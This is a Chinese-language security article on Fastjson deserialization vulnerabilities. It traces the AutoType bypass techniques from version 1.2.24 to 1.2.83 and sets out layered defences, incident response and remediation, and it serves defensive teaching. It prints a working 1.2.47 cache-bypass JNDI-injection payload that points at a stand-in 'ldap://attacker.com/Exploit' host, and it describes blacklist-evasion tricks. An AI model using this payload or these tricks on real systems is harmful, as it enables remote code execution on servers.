1. 项目概述：一场持续数年的攻防拉锯战

如果你是一名Java后端开发者，或者负责过企业应用的安全审计，那么“Fastjson反序列化漏洞”这个名字，绝对能让你心头一紧。这不仅仅是一个漏洞，而是一场持续了数年、攻防双方不断升级对抗的“军备竞赛”。从2017年首次被公开披露至今，围绕Fastjson这个国内广泛使用的JSON解析库，安全研究员和攻击者们上演了一幕幕精彩的“猫鼠游戏”。攻击者不断挖掘出新的绕过手法，试图在目标服务器上执行任意代码；而Fastjson的开发团队和安全社区则紧随其后，推出补丁、引入安全模式、甚至重构版本。这场博弈的核心，就在于对“反序列化”这一基础操作的理解深度。今天，我们不谈空泛的理论，就从一线攻防实战的角度，深入拆解Fastjson漏洞的演进脉络、那些令人拍案叫绝（或心惊胆战）的绕过技巧，以及我们作为防御方，应该如何构建一个纵深、立体的防御体系。无论你是开发者想加固自己的代码，还是安全工程师想提升检测能力，这篇文章都将提供一份详实的“战场地图”。

2. 核心漏洞原理：为什么JSON解析会变成代码执行？

要理解这场攻防博弈，必须先吃透漏洞的根源。Fastjson的反序列化漏洞，本质上是“反序列化”过程被恶意利用的经典案例。

2.1 序列化与反序列化的本质

简单来说，序列化是把一个内存中的对象（Object）转换成可以存储或传输的字节序列（比如JSON字符串）的过程。反序列化则是其逆过程，将字节序列恢复成内存中的对象。在Java中，这个过程通常用于网络通信（RPC）、数据持久化（缓存）等场景。Fastjson的JSON.parseObject()或JSON.parse()方法，就是执行反序列化的入口。

2.2 Fastjson的“AutoType”特性与风险源头

Fastjson在设计之初，为了提供极大的灵活性，引入了一个叫“AutoType”的特性。当反序列化一个JSON字符串时，如果其中包含了@type这个键，Fastjson会根据其值（一个类的全限定名）去尝试加载并实例化这个类。例如：

{ "@type": "com.example.User", "name": "test", "age": 18 }

Fastjson会尝试去加载com.example.User类，并调用其setter方法或直接给字段赋值，来还原一个User对象。这个特性方便了复杂对象的传输，但也埋下了巨大的安全隐患。

漏洞的核心触发路径可以概括为：恶意JSON输入 -> 利用@type指定一个具有危险方法或属性的类 -> 在反序列化过程中触发这些方法 -> 实现任意代码执行或敏感操作。

关键在于，Java中有大量存在于ClassPath中的“通用”类，其构造方法、getter/setter方法或静态代码块，在特定调用下能产生“副作用”。攻击者不需要目标应用中有特定的漏洞类，只需要利用这些JDK自带的或常见第三方库中的“ gadget chains”（利用链），像搭积木一样组合起来，最终达到执行命令、读写文件等目的。

注意：这里说的“危险方法”不一定是Runtime.exec()这种明显的危险函数。很多时候，是一些看似无害的getter、setter、toString、hashCode方法，或者通过反射、类加载机制间接触发的危险行为。

2.3 一个简化的漏洞利用模型

假设存在一个类EvilClass，其构造函数里执行了Runtime.getRuntime().exec("calc.exe")。攻击者构造如下JSON：

{ "@type": "com.attacker.EvilClass" }

当开启了AutoType且该类在ClassPath中时，Fastjson在反序列化过程中实例化EvilClass，就会触发计算器程序弹出。在实际攻击中，情况复杂得多，攻击链往往很长，需要串联多个类的特性。

3. 绕过手法的演进史：攻击者的“十八般武艺”

Fastjson的修复史，几乎就是一部绕过手法的编年史。每一次官方发布补丁封堵一类利用方式，安全研究员们总能从新的角度找到突破口。下面我们按时间线梳理几个关键的绕过阶段。

3.1 早期阶段：基于黑名单的攻防（~1.2.24）

在漏洞爆发初期，Fastjson的防御措施主要是维护一个危险类的黑名单。当检测到@type的值为黑名单中的类时，直接拒绝反序列化。

绕过手法1：未在名单中的新利用链这是最直接的绕过。黑名单不可能穷尽所有潜在的危险类。攻击者不断挖掘JDK（如com.sun.org.apache.xalan.internal.lib.下的类）、第三方库（如Spring、Tomcat、Dubbo等）中新的、可利用的类，构造出新的攻击链（Gadget Chain）。只要这条链上的任何一个关键类不在黑名单内，攻击就可能成功。

绕过手法2：利用黑名单的匹配缺陷早期的黑名单匹配可能是简单的字符串包含或相等判断。攻击者通过使用非标准类名来绕过，例如：

• 使用L和;包裹类名：这是JNI签名表示法。com.attacker.EvilClass可以写成Lcom.attacker.EvilClass;。如果黑名单检查没有规范化类名，就可能被绕过。
• 使用十六进制或Unicode编码：对类名中的部分字符进行编码。
• 利用重复的[：例如[[com.attacker.EvilClass]表示二维数组，可能绕过对一维数组类名的检查。

3.2 中期阶段：白名单与哈希校验的博弈（1.2.25 - 1.2.47）

在1.2.25版本，Fastjson引入了更严格的机制：默认关闭AutoType，用户必须显式通过ParserConfig.getGlobalInstance().addAccept("com.xxx.")来添加白名单。同时，引入了一种基于类名哈希（hash）的校验机制，试图在开启AutoType时进行安全检查。

绕过手法3：利用缓存机制绕过哈希校验（经典的1.2.47绕过）这是Fastjson历史上影响最深远、最精妙的一次绕过之一。其核心在于利用了Fastjson内部的两级缓存机制：mappings（存储类名和Class对象的映射）和deserializers（存储反序列化器）。

攻击者构造一个特殊的JSON，其@type指向java.lang.Class。Fastjson在反序列化Class对象时，会将其val字段（存储类名）的内容，不经哈希校验就直接放入mappings缓存。随后，攻击者再通过第二个@type去引用这个已被缓存的类名，此时Fastjson会直接从缓存中取出Class对象，完全绕过了后续的哈希校验和白名单检查。

简化攻击载荷如下：

{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" // 一个已知的危险类 }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", // 这次引用时，该类已在缓存中 "dataSourceName": "ldap://attacker.com/Exploit", "autoCommit": true // 触发JNDI注入，导致远程代码执行 } }

这个绕过手法之所以强大，是因为它利用了反序列化流程本身的设计逻辑缺陷，而非简单的校验疏漏。

3.3 近期阶段：针对补丁的“打补丁”式绕过（1.2.68 - 1.2.83）

随着漏洞被广泛关注，Fastjson的修复越来越积极，引入了safemode（安全模式）等更彻底的防御方案。但攻击者依然在寻找缝隙。

绕过手法4：利用异常处理路径在某些版本的补丁中，对常规反序列化路径的检查非常严格。研究者发现，通过构造特定的JSON输入，可以迫使Fastjson在反序列化过程中抛出异常，并进入异常处理流程。而在某些异常处理的代码分支里，安全检查可能被跳过或有所不同，从而为执行恶意代码提供了机会。这要求攻击者对Fastjson的源码有极其细致的理解。

绕过手法5：针对特定类型的解析差异Fastjson支持反序列化多种类型，如普通POJO、集合、数组、枚举等。针对不同类型的解析器（ObjectDeserializer），其安全检查的逻辑可能存在细微差别。攻击者可能会尝试使用java.util.Map、java.util.Comparator等类型作为入口，利用其特定的反序列化行为来绕过针对普通Bean的检查。

3.4 绕过手法的共同特征与防御启示

纵观这些绕过手法，我们可以总结出攻击者的核心思路：

1. 寻找逻辑缺陷：比寻找代码缺陷更重要。如1.2.47的绕过，是利用了缓存设计的逻辑问题。
2. 利用解析差异性：针对不同类型、不同场景下的解析器行为差异进行突破。
3. 深度依赖Java生态：利用链（Gadget Chain）的构造严重依赖于目标应用的ClassPath环境。不同依赖库版本可能导致利用链失效或出现新链。
4. 持续的信息收集：攻击者会密切关注Fastjson的每一次commit、每一个Issue，以及安全社区的最新研究，寻找补丁中的潜在疏忽。

对于我们防御方而言，这清晰地指出：依赖单一的、被动的黑名单或版本升级是远远不够的。必须建立一个多层次、主动的防御体系。

4. 构建纵深防御体系：从开发到运维的全链路防护

面对如此灵活的威胁，我们必须放弃“一招鲜”的想法，从软件生命周期（SDLC）的各个环节入手，构建纵深防御。

4.1 开发阶段：安全编码与组件管理

这是防御的第一道，也是最重要的一道防线。

4.1.1 彻底禁用AutoType（首选方案）对于绝大多数业务场景，根本不需要AutoType功能。最安全、最根本的解决方案就是彻底关闭它。

• Fastjson 1.2.68及以上版本：在启动参数或初始化代码中设置-Dfastjson.parser.safeMode=true，或使用ParserConfig.getGlobalInstance().setSafeMode(true)。开启安全模式后，将完全禁用@type功能，任何包含@type的JSON都会被拒绝解析。这是官方推荐的终极方案。
• 更低版本：如果无法升级到支持SafeMode的版本，务必确保没有在任何地方调用ParserConfig.getGlobalInstance().setAutoTypeSupport(true);。默认情况下，AutoType是关闭的。

4.1.2 使用严格的白名单如果业务上确实需要AutoType（例如处理来自可信源的复杂多态对象），那么必须使用白名单机制，并且白名单的范围要尽可能小、尽可能具体。

ParserConfig config = ParserConfig.getGlobalInstance(); // 添加明确的白名单包路径或类 config.addAccept("com.yourcompany.trusted.model."); // 或者添加具体类 config.addAccept("com.yourcompany.trusted.model.User"); config.addAccept("com.yourcompany.trusted.model.Order"); // 同时，清除所有默认的Accept，避免意外 // config.getAcceptList().clear(); // 谨慎操作，可能影响其他功能

实操心得：白名单的管理应该自动化。可以考虑将白名单配置在外部配置文件或配置中心，并通过CI/CD流程进行审核和发布，避免开发者随意添加。

4.1.3 升级到Fastjson2Fastjson的作者为了彻底解决历史包袱，开发了Fastjson2。它不兼容Fastjson 1.x的API，但在设计上更加安全，默认就不支持AutoType。对于新项目，强烈建议直接使用Fastjson2。对于老项目，如果条件允许，进行迁移是根治问题的最佳途径。

<!-- 使用Fastjson2 --> <dependency> <groupId>com.alibaba.fastjson2</groupId> <artifactId>fastjson2</artifactId> <version>2.0.51</version> <!-- 使用最新版本 --> </dependency>

4.1.4 输入验证与过滤在JSON数据进入反序列化函数之前，进行严格的输入验证。

• 结构验证：使用JSON Schema验证JSON的结构是否符合预期。
• 内容过滤：在网关或应用层，对请求体中的@type关键字进行过滤或拦截。虽然这不是绝对安全（攻击者可能编码），但可以阻挡大部分自动化攻击脚本。

4.2 构建与部署阶段：依赖管理与环境加固

4.2.1 严格的依赖管理Fastjson的很多利用链依赖于其他第三方库（如commons-collections,tomcat-dbcp等）。使用Maven的dependencyManagement统一管理所有依赖的版本，并定期使用mvn dependency:tree或OWASP Dependency-Check等工具扫描项目，及时排除不必要的依赖或升级存在已知漏洞的依赖。

• 排除传递依赖：如果某个依赖引入了不必要或存在风险的Fastjson版本，使用<exclusions>将其排除。

<dependency> <groupId>some.group</groupId> <artifactId>some-artifact</artifactId> <exclusions> <exclusion> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> </exclusion> </exclusions> </dependency>

4.2.2 使用最新稳定版本始终关注Fastjson的官方发布，并及时将版本升级到最新的稳定版。虽然新版本也可能有新漏洞，但通常修复了已知的高危问题。在升级时，务必仔细阅读版本变更说明，进行充分的兼容性测试。

4.2.3 最小化运行时环境在Docker镜像或服务器环境中，只安装运行应用所必需的JDK模块和系统库。移除不必要的编译工具、脚本解释器（如python、perl）或网络工具（如curl、wget），这能在即使被攻破后，极大限制攻击者的横向移动和后续操作能力。

4.3 运行时与运维阶段：监控、检测与响应

4.3.1 RASP（运行时应用自我保护）RASP技术是一种非常有效的运行时防御手段。它在应用内部注入安全探针，能够监控关键敏感操作（如JNDI查询、反射调用Class.forName、本地命令执行、文件读写等）。当Fastjson反序列化过程试图触发恶意行为时，RASP可以实时拦截并告警/阻断。 例如，可以配置RASP规则：“拦截任何由com.alibaba.fastjson.parser.DefaultJSONParser调用栈发起的java.lang.Runtime.exec()调用”。RASP的优势在于它不依赖流量特征，而是监控行为本身，对未知漏洞的利用也有一定的防御效果。

4.3.2 WAF（Web应用防火墙）规则在流量入口处部署WAF，并配置针对Fastjson漏洞的检测规则。这些规则通常包括：

• 特征检测：检测请求体或参数中是否包含常见的Fastjson利用链的类名特征（如com.sun.rowset.JdbcRowSetImpl,org.apache.tomcat.dbcp.等）。
• 行为检测：检测是否同时存在@type和可能导致JNDI注入的字段（如dataSourceName,jndi等）。
• 异常格式检测：检测类名的异常编码、大量的嵌套结构等。

4.3.3 全面的日志监控与审计确保应用记录了完整的安全日志，包括但不限于：

• 访问日志：记录所有请求的URL、来源IP、User-Agent。
• 异常日志：重点关注Fastjson抛出的异常，如JSONException,com.alibaba.fastjson.JSONException。攻击者尝试利用时，可能会触发各种解析异常。
• 业务日志：在反序列化关键函数前后记录入参摘要（注意脱敏）。 使用ELK（Elasticsearch, Logstash, Kibana）或类似日志平台集中管理日志，并设置告警规则。例如：“5分钟内，来自同一IP的Fastjson解析异常超过10次”，这很可能是一次自动化漏洞扫描或攻击尝试。

4.3.4 定期安全扫描与渗透测试将Fastjson漏洞作为常规安全扫描和渗透测试的必检项。使用专业的SCA（软件成分分析）工具检查项目依赖，使用IAST（交互式应用安全测试）或DAST（动态应用安全测试）工具对运行中的应用进行漏洞探测。不要依赖单一工具，结合多种工具的结果进行判断。

5. 应急响应与漏洞排查实战指南

即使防护严密，也可能面临未知的绕过手法。一旦怀疑存在Fastjson漏洞被利用，需要快速响应。

5.1 入侵迹象识别

以下迹象可能表明应用正在或已经遭受Fastjson反序列化攻击：

1. 日志中出现大量Fastjson解析异常，特别是异常信息中包含黑名单类名、奇怪的类名或编码。
2. 服务器出现不明进程、网络连接或文件。攻击成功后会常驻后门。
3. CPU或内存使用率异常飙升，可能是攻击者在执行挖矿或加密操作。
4. 应用出现未预期的JNDI连接请求（如向外部LDAP/DNS服务器发起连接），可在网络层监控发现。
5. 安全设备（WAF、RASP）告警。

5.2 现场排查与取证步骤

1. 立即隔离：将疑似被入侵的服务器从网络中断开，但保持开机状态（便于内存取证）。
2. 保存现场：
   • 内存转储：使用jmap -dump:live,file=heap.bin <pid>导出Java堆内存。内存中可能残留反序列化产生的恶意对象或利用链。
   • 线程栈：使用jstack <pid>或kill -3 <pid>获取所有线程的调用栈，寻找可疑的类加载或命令执行线程。
   • 网络连接：使用netstat -antp记录所有网络连接。
   • 进程列表：使用ps auxf记录所有进程。
3. 日志分析：集中分析应用日志、系统日志和安全设备日志，寻找攻击入口点和时间线。
4. 代码定位：根据日志中的异常信息，定位到项目中调用JSON.parseObject()/parse()的代码位置，检查其输入是否可控。
5. 依赖检查：检查项目pom.xml或gradle文件，确认Fastjson的准确版本以及是否存在其他危险依赖。

5.3 漏洞修复与加固流程

1. 短期缓解：
   • 如果未启用SafeMode，立即在配置中启用-Dfastjson.parser.safeMode=true并重启应用。
   • 如果无法重启，考虑在网关层紧急添加规则，拦截所有包含@type的请求（需评估对业务的影响）。
2. 根本修复：
   • 升级：将Fastjson升级到官方发布的最新安全版本（如1.2.83及以上，或直接使用Fastjson2）。
   • 代码修复：审查所有使用Fastjson反序列化的代码，确保要么关闭AutoType，要么使用严格的白名单。将接收外部输入的、使用parseObject()的代码，改为使用parseObject(String text, Class<T> clazz)指定具体类型，这是最安全的方式。
   • 依赖清理：扫描并移除项目中不必要的、可能携带危险Gadget的第三方库。
3. 验证与回归：修复后，必须进行全面的功能测试和安全回归测试，确保修复有效且未引入新问题。

6. 总结与个人实践心得

Fastjson反序列化漏洞的攻防史，是一部生动的软件安全教科书。它告诉我们，安全不是一个静态的特性，而是一个动态的过程。攻击者的创造力永远会挑战防御者的想象力。

从我个人的经验来看，应对此类漏洞，以下几点至关重要：

第一，拥抱“默认安全”原则。像AutoType这种高风险功能，默认就应该是关闭的。任何需要开启的功能，都必须经过严格的安全评审和明确的业务必要性论证。Fastjson2在设计上就吸取了这个教训。

第二，防御必须立体化、自动化。不要指望一个WAF规则或一次版本升级就能一劳永逸。从开发时的安全编码、依赖管理，到构建时的成分分析，再到运行时的RASP和监控，每一个环节都要布防。并且尽可能地将安全动作（如依赖漏洞扫描、安全代码检查）集成到CI/CD流水线中，实现自动化。

第三，保持对供应链安全的警惕。Fastjson是典型的供应链漏洞。我们不仅要关注自己写的代码，更要关注项目引入的每一个“轮子”。建立完善的第三方组件选型、引入、更新和淘汰机制，定期使用SCA工具进行扫描，是现代软件开发的必备动作。

第四，假设会被突破，做好检测与响应。完美的防御不存在。因此，必须建立有效的监控、告警和应急响应机制。详细的日志、集中化的日志分析平台、以及事先演练过的应急响应预案，能在真正发生安全事件时，为你争取宝贵的时间，将损失降到最低。

最后，对于还在使用Fastjson 1.x老版本的系统，我的建议是：将升级到SafeMode版本或迁移至Fastjson2，列为最高优先级的待办事项。在完成升级之前，务必启用SafeMode，并重新审计所有反序列化代码。这场持续数年的攻防博弈，最好的结局就是我们主动走出战场，通过架构和代码的升级，让攻击者失去攻击面。